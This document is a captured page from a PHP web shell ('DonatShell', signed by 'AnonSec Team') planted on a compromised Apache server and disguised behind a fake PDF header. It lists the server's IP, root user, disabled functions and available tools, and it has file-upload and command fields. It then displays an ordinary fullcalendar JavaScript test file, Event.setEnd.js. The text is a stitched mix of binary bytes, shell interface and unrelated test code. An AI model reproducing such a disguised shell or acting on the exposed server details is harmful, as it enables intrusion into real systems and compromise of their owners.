%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-data/Event.setEnd.js
describe('Event::setEnd', function() {
  pushOptions({
    now: '2018-09-03',
    timeZone: 'UTC',
    defaultTimedEventDuration: '01:00'
  })

  describe('when event doesn\'t have an end', function() {
    pushOptions({
      events: [
        { id: '1', start: '2018-09-10T00:00:00' }
      ]
    })

    it('sets end and keeps start', function() {
      initCalendar()
      let event = currentCalendar.getEventById('1')
      event.setEnd('2018-09-12T02:00:00')
      expect(event.start).toEqualDate('2018-09-10T00:00:00Z')
      expect(event.end).toEqualDate('2018-09-12T02:00:00Z')
    })
  })

  describe('when event does have an end', function() {
    pushOptions({
      events: [
        { id: '1', start: '2018-09-10T00:00:00', end: '2018-09-11T00:00:00' }
      ]
    })

    it('changes end and keeps start', function() {
      initCalendar()
      let event = currentCalendar.getEventById('1')
      event.setEnd('2018-09-12T02:00:00')
      expect(event.start).toEqualDate('2018-09-10T00:00:00Z')
      expect(event.end).toEqualDate('2018-09-12T02:00:00Z')
    })
  })

  it('shortens related events of different duration by same delta', function() {
    initCalendar({
      events: [
        { id: '1', groupId: 'a', start: '2018-09-10T00:00:00', end: '2018-09-11T00:00:00' },
        { id: '2', groupId: 'a', start: '2018-09-14T00:00:00', end: '2018-09-16T00:00:00' }
      ]
    })

    let event1 = currentCalendar.getEventById('1')
    event1.setEnd('2018-09-12T02:00:00') // move end forward by 1 day, 2 hours
    expect(event1.start).toEqualDate('2018-09-10T00:00:00Z')
    expect(event1.end).toEqualDate('2018-09-12T02:00:00Z')

    let event2 = currentCalendar.getEventById('2')
    expect(event2.start).toEqualDate('2018-09-14T00:00:00Z')
    expect(event2.end).toEqualDate('2018-09-17T02:00:00Z')
  })

})

Anon7 - 2022
AnonSec Team